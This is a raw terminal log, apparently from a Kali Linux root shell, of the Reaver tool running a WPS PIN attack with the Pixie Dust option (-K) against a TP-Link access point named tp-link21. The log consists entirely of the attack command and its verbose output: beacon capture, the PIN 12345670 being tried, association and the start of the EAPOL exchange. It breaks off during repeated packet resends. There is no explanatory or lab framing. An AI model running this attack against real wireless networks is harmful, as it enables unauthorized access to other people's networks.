root@kali:~# reaver -i wlan0mon -b 90:F8:54:33:22:11 -K -vvv

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 

[+] Switching wlan0mon to channel 6
[+] Waiting for beacon from 90:F8:54:33:22:11
[+] Received beacon from 90:F8:54:33:22:11
[+] Vendor: AtherosC
WPS: A new PIN configured (timeout=0)
WPS: UUID - hexdump(len=16): [NULL]
WPS: PIN - hexdump_ascii(len=8):
     31 32 33 34 35 36 37 30                           12345670   
WPS: Selected registrar information changed
WPS: Internal Registrar selected (pbc=0)
WPS: sel_reg_union
WPS: set_ie
WPS: cb_set_sel_reg
WPS: Enter wps_cg_set_sel_reg
WPS: Leave wps_cg_set_sel_reg early
WPS: return from wps_selected_registrar_changed
[+] Trying pin "12345670"
send_packet called from deauthenticate() 80211.c:333
send_packet called from authenticate() 80211.c:364
[+] Sending authentication request
[!] Found packet with bad FCS, skipping...
send_packet called from associate() 80211.c:417
[+] Sending association request
[+] Associated with 90:F8:54:33:22:11 (ESSID: tp-link21)
[+] Sending EAPOL START request
send_packet called from send_eapol_start() send.c:48
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
[+] Received identity request
[+] Sending identity response
send_packet called from send_identity_response() send.c:81
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161